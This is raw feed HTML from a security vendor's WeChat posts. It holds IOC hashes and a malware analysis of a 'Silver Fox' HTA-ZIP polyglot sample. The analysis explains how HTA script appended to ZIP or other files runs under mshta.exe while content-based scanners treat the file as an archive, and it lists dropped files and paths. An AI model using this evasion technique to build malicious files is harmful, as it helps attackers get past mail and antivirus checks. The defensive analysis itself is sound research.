right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf="">05</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">IOC</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">恶意文件（MD5）</span></strong></p><figure style="box-sizing: border-box;display: block;margin: 20px 0px;padding: 0px;overflow-wrap: break-word;overflow: auto hidden;color: rgb(85, 85, 85);font-size: 14px;border-radius: 2px;background-color: rgb(246, 246, 246);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"></figure><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">9e206d38770552252f724db40e952d38 </span></code><br/><code><span leaf="">356de30e4c4aabef1559118556cb90a1</span></code><br/><code><span leaf="">838f8f3d80f676272dd54c9811ee6ce2</span></code><br/></pre></p><div><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong data-original-title="" title="" data-num="2"><span leaf="">6</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">技术支持与反馈</span></span></strong></p></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247488915">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cc93e5ee&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488915%26idx%3D1%26sn%3D2baae155407d4271ee8566ca2f912c35">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 18 Dec 2025 17:20:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】图穷匕见：HTA-ZIP 复合文件攻击</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488902&amp;idx=1&amp;sn=f347ff25b39ddd6af1090549aae3587a</link>
      <description>01概述在天穹沙箱日常运营分析过程中，监测到扩展名为 .hta 的文件，但其实际文件头却显示为 ZIP 格式，</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-12-04 16:13</span> <span style="display: inline-block;">北京</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e03407a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnADwJccOpYl0ouLanoGR8mgFticNiaWwhWNBg2oVgbEkfBfLxMCCLJibZtg%2F0%3Fwx_fmt%3Djpeg"/></p>

<p>01概述在天穹沙箱日常运营分析过程中，监测到扩展名为 .hta 的文件，但其实际文件头却显示为 ZIP 格式，</p>

<div data-role="title" data-tools="135编辑器" data-id="161894" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div><div style="display: flex;justify-content: flex-start;"><div style="margin-bottom: -25px;"><div style="border-radius: 100%;padding: 6px;background: linear-gradient(to left,rgba(86,222,209,0.8),transparent);box-sizing:border-box;"><div style="width: 32px;height: 32px;border-radius: 100%;background-color: #59e3d1;text-align: center;line-height: 34px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">1</span></strong></p></div></div></div></div><div style="margin-left: 20px;"><div style="background: linear-gradient(to right,#084cc7,#137edd);border-radius: 15px 0 15px 0;padding: 8px 20px 8px 35px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf="">概述</span></strong></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在天穹沙箱日常运营分析过程中，监测到扩展名为 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">.hta</span></strong><span leaf=""> 的文件，但其实际文件头却显示为 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">ZIP 格式</span></strong><span leaf="">，表明这类样本在文件类型上存在刻意伪装。为探究其攻击手法与规避原理，我们对该样本展开了深入分析。</span></p><div data-role="title" data-tools="135编辑器" data-id="161894" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div><div style="display: flex;justify-content: flex-start;"><div style="margin-bottom: -25px;"><div style="border-radius: 100%;padding: 6px;background: linear-gradient(to left,rgba(86,222,209,0.8),transparent);box-sizing:border-box;"><div style="width: 32px;height: 32px;border-radius: 100%;background-color: #59e3d1;text-align: center;line-height: 34px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;"><strong><span leaf="">0</span></strong></p></div></div></div></div><div style="margin-left: 20px;"><div style="background: linear-gradient(to right,#084cc7,#137edd);border-radius: 15px 0 15px 0;padding: 8px 20px 8px 35px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf="">样本信息</span></strong></p></div></div></div></div></div><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名：setupi.hta</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">MD5：e5e3578329be22d26443d7f6c6690485</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1：179e19367d82da0458f42ea7647236a3cda3fb71</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型：HTA</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小：5.17 MB</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">恶意家族：银狐</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">报告链接：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=e2a13eddd049d417bc3f5e21a64b0e95&amp;sk=24181101" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=e2a13eddd049d417bc3f5e21a64b0e95&amp;sk=24181101</a></span></p></li></ul><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">文件扩展名为 </span></span><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">.hta</span></strong><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">，文件头信息实际为 </span></span><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">50 4B 03 04</span></strong><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">，从文件头看属于 ZIP 文件。</span></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005233" class="rich_pages wxw-img" data-ratio="0.8145933014354066" data-type="png" data-w="836" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a3b85f5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAdHaiaKqAx8G9sLZ6FibPISUoj9pK1ficFCDiaNO2xW1eVMBcMOwfZfiavbQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 文件扩展名与文件头信息</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但是文件中也包含 HTA 标签 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">&lt;HTA:APPLICATION</span></strong><span leaf=""> 标签。因此该样本的结构分为两部分：</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">前面部分为 ZIP，后面部分为 HTA</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005232" class="rich_pages wxw-img" data-ratio="1.1070234113712374" data-type="png" data-w="598" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f4fff9f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAet8FxdMMjQYibKUpJsicoVLudXsZX4T5jP2IKS6oRJ4wEb9weAkHyuRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 HTA标签</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">HTA（HTML 应用程序，HTML Application）是一个使用 HTML 和动态 HTML 构建的 Microsoft Windows 应用程序，运行在 Internet Explorer 中，并且支持其他的脚本语言，例如 VBS 和 JavaScript。HTML 用来创建用户界面，脚本语言则用来构建程序主体。HTA 运行时不受浏览器安全模型的限制，实际上，它就像是一个被“完全信任”的应用程序。在 Windows 上，由 mshta.exe 运行 .hta 文件，而 mshta.exe 主要依赖文件扩展名（.hta）来判断文件类型，mshta.exe 在读取 .hta 文件时，会扫描整个文件内容 (从头到尾)， 如果在某处发现合法的 HTML 标记 + 脚本 (例如 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">&lt;HTA:APPLICATION&gt;</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">&lt;script&gt;</span></code><span leaf="">、VBScript / JScript 代码等)，就会把这些内容作为 HTA 应用来解析执行。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">HTA 代码可以拼接到 ZIP 文件后面，还可以拼接到其他的文件 (例如 PDF、图片、BAT 脚本等) 的后面。Windows 的判断方式是基于</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">文件扩展名(.hta)</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">，而不是严格依据文件头，一些安全产品 (如邮件网关、反病毒软件等) 更倾向于根据</span></strong><span leaf="">文件内容</span></strong><span leaf="">来判断，它们可能将此类文件当成 ZIP（PDF、图片、BAT 脚本等）处理，从而绕过一些安全产品的文件内容检查，执行隐藏的恶意脚本。</span></p><div data-role="title" data-tools="135编辑器" data-id="161894" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div><div style="display: flex;justify-content: flex-start;"><div style="margin-bottom: -25px;"><div style="border-radius: 100%;padding: 6px;background: linear-gradient(to left,rgba(86,222,209,0.8),transparent);box-sizing:border-box;"><div style="width: 32px;height: 32px;border-radius: 100%;background-color: #59e3d1;text-align: center;line-height: 34px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;"><strong><span leaf="">03</span></strong></p></div></div></div></div><div style="margin-left: 20px;"><div style="background: linear-gradient(to right,#084cc7,#137edd);border-radius: 15px 0 15px 0;padding: 8px 20px 8px 35px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><strong data-brushtype="text"><span leaf="">样本分析</span></strong></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该样本首先写入了一个名为 cmsadasd.dsadsad 的文件，并创建了大量可执行程序。其中 cmsadasd.dsadsad 文件包含一个合法的签名。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005230" class="rich_pages wxw-img" data-ratio="0.4744136460554371" data-type="png" data-w="938" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=82c0151d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAI3Tbf7ibLslqbjNlGZAQD8Rib1nht1qvYXfp95ibcFPFlCibPd6T2aq6fw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图3 写入可疑文件与创建可执行程序</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">写入大量文件，如 longlq.cl、lua5.1.dll 等等。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005234" class="rich_pages wxw-img" data-ratio="0.534983853606028" data-type="png" data-w="929" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6e329c6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAtPlSGav3WiboCZugVWtbGC1GjQR8bbp71nmrjhvVhv4gMtwmFib46AHA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 写入文件</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">复制文件到目录 c:\Users\Public\A4y3zC\、c:\ProgramData\6mjxfjhc\，复制后的文件名和目录名均是随机生成的。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005231" class="rich_pages wxw-img" data-ratio="0.12875536480686695" data-type="png" data-w="932" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e58fe7bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAt6RvRjabiaGIlAFicGAkz9xVKew0qx8EDvQmzu9aUnns7hRnl3dj0hXg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 